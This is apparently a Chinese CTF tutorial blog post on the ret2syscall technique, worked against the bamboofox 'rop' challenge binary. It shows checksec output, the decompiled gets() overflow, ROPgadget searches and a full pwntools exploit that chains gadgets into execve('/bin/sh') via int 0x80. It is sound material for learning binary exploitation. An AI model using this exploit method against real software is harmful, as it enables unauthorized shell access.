当前位置: 首页 > news >正文

从ctfwiki开始的pwn之旅 3.ret2syscall

ret2syscall

原理 

ret2syscall,即控制程序执行系统调用,获取 shell。

那么ret2text——程序中有system("/bin/sh")代码段,控制流执行
那么ret2shellcode——程序中不存在system("/bin/sh/")的代码段,自己恶意填入代码并在可执行段执行 
那么ret2syscall——程序中不存在system("/bin/sh/")的代码段,不存在合适的可执行段进行恶意代码的执行,但是程序是静态链接,且程序中中存在代码片段,拼接可组成系统调用。

例子 

这里我们继续以 bamboofox 中的 ret2syscall 为例。

点击下载: ret2syscall

首先检测程序开启的保护:

➜  ret2syscall checksec ropArch:     i386-32-littleRELRO:    Partial RELROStack:    No canary foundNX:       NX enabledPIE:      No PIE (0x8048000)

可以看出,源程序为 32 位,开启了 NX 保护。接下来利用 IDA 进行反编译:

int __cdecl main(int argc, const char **argv, const char **envp)
{int v4; // [sp+1Ch] [bp-64h]@1setvbuf(stdout, 0, 2, 0);setvbuf(stdin, 0, 1, 0);puts("This time, no system() and NO SHELLCODE!!!");puts("What do you plan to do?");gets(&v4);return 0;
}

可以看出此次仍然是一个栈溢出。类似于之前的做法,我们可以获得 v4 相对于 ebp 的偏移为 108。所以我们需要覆盖的返回地址相对于 v4 的偏移为 112。此次,由于我们不能直接利用程序中的某一段代码或者自己填写代码来获得 shell,所以我们利用程序中的 gadgets 来获得 shell,而对应的 shell 获取则是利用系统调用。关于系统调用的知识,请参考:

  • https://zh.wikipedia.org/wiki/%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8

简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell:

execve("/bin/sh",NULL,NULL)这个NULL和程序有关
const char **argv, const char **envp
argv和envp都得置成NULL
argv 参数设置为 NULL,表示没有向 /bin/sh 传递任何命令行参数。
envp 参数同样设置为 NULL,表示没有向 /bin/sh 传递任何环境变量使用 NULL,NULL 的原因通常有以下几点:简化操作:在很多情况下,我们只是想简单地获取一个 shell,而不需要传递任何特定的参数或环境变量。避免错误:如果不确定应该传递哪些参数或环境变量,或者如果传递错误的参数可能导致问题,那么使用 NULL 是最安全的选择。兼容性:大多数 Unix 风格的 shell 和程序都能很好地处理没有参数和环境变量的情况。攻击场景:在利用安全漏洞(如缓冲区溢出)获取 shell 的攻击场景中,攻击者通常只关心能否成功执行 execve 调用,而不关心传递给 shell 的参数或环境变量。

其中,该程序是 32 位,所以我们需要使得

  • 系统调用号,即 eax 应该为 0xb(对于32位的Linux系统,execve系统调用号是0xb,这是因为在Linux的系统调用表中,execve对应的编号是11,而11转换为十六进制就是0xb)
  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
  • 第二个参数,即 ecx 应该为 0
  • 第三个参数,即 edx 应该为 0

构造系统调用时,必须按照 eaxebxecxedx 的顺序来设置寄存器,以确保系统调用能够正确执行。

而我们如何控制这些寄存器的值 呢?这里就需要使用 gadgets。比如说,现在栈顶是 10,那么如果此时执行了 pop eax,那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets 的方法,我们可以使用 ropgadgets 这个工具。

首先,我们来寻找控制 eax 的 gadgets

➜  ret2syscall ROPgadget --binary rop  --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

可以看到有上述几个都可以控制 eax,我选取第二个来作为 gadgets。

类似的,我们可以得到控制其它寄存器的 gadgets

➜  ret2syscall ROPgadget --binary rop  --only 'pop|ret' | grep 'ebx'
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x0805ae81 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret

这里,我选择

0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

这个可以直接控制其它三个寄存器。这个 gadget 可以依次将栈顶的值弹出到 edxecxebx 寄存器中,然后通过 ret 指令返回

此外,我们需要获得 /bin/sh 字符串对应的地址。

➜  ret2syscall ROPgadget --binary rop  --string '/bin/sh' 
Strings information
============================================================
0x080be408 : /bin/sh

可以找到对应的地址,此外,还有 int 0x80 的地址,如下

➜  ret2syscall ROPgadget --binary rop  --only 'int'                 
Gadgets information
============================================================
0x08049421 : int 0x80
0x080938fe : int 0xbb
0x080869b5 : int 0xf6
0x0807b4d4 : int 0xfcUnique gadgets found: 4

同时,也找到对应的地址了。

下面就是对应的 payload,其中 0xb 为 execve 对应的系统调用号。

#!/usr/bin/env python
from pwn import *sh = process('./rop')pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408payload = flat(['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])pop_eax_ret的作用是将下一个指令(即立即数)弹出到 eax 寄存器中,并返回到调用者
##这个载荷的构造顺序是:
##
112 字节的填充('A' * 112)用于覆盖到返回地址。
pop_eax_ret 用于将系统调用号 0xb 设置到 eax 寄存器。
pop_edx_ecx_ebx_ret 用于将 0(ecx 和 edx)、binsh(ebx)设置到相应的寄存器。
pop_edx_ecx_ebx_ret 中的 ret 指令是用来将控制流转移到下一个 gadget 的,而在这个例子中,下一个 gadget 就是 int_0x80 的地址。当执行到 pop_edx_ecx_ebx_ret gadget 的 ret 指令时,程序会跳转到 int_0x80 的地址,并执行 int 0x80 指令,从而触发系统调用。
int_0x80 是一个指令,当执行到这个地址时,会触发一个软件中断,告诉操作系统执行 eax 寄存器中指定的系统调用。在这个例子中,eax 寄存器已经被设置为 0xb,即 execve 系统调用的编号,然后依次执行ebx,ecx,edx,因为执行是有顺序的
int_0x80是最后执行的。
##sh.sendline(payload)
sh.interactive()

实操 

ida

pwndbg

 算到偏移108,加上4就是112。

http://www.lryc.cn/news/497916.html

相关文章:

  • 使用 httputils + protostuff 实现高性能 rpc
  • 系统思考—战略共识
  • Java版-速通数据结构-树基础知识
  • 详尽的oracle sql函数
  • SAP IDOC Error VG205
  • DSP 的 CV 算子调用
  • WMI攻击-基础篇(一)
  • 使用Pygame创建一个简单的消消乐游戏
  • 证明直纹面是可展曲面沿着直母线,曲面的切平面不变
  • Chrome控制台 网站性能优化指标一览
  • Typora创建markdwon文件的基础语法
  • 《嵌入式硬件设计》
  • 【AIGC】大模型面试高频考点-位置编码篇
  • 如何使用 SQL 语句创建一个 MySQL 数据库的表,以及对应的 XML 文件和 Mapper 文件
  • Unity性能优化---动态网格组合(二)
  • JVM学习《垃圾回收算法和垃圾回收器》
  • GPS模块/SATES-ST91Z8LR:电路搭建;直接用电脑的USB转串口进行通讯;模组上报定位数据转换地图识别的坐标手动查询地图位置
  • 什么是TCP的三次握手
  • 《Clustering Propagation for Universal Medical Image Segmentation》CVPR2024
  • Linux ifconfig ip 命令详解
  • Vue3 对于echarts使用 v-show,导致显示不全,宽度仅100px,无法重新渲染的问题
  • C++实现俄罗斯方块
  • 鸿蒙分享:添加模块,修改app名称图标
  • 扫描IP段内的使用的IP
  • 【专题】虚拟存储器
  • Python之爬虫入门--示例(2)
  • 5G CPE终端功能及性能评测(四)
  • 人工智能驱动的骗局会模仿熟悉的声音
  • 电子病历静态数据脱敏路径探索
  • 混合云策略在安全领域受到青睐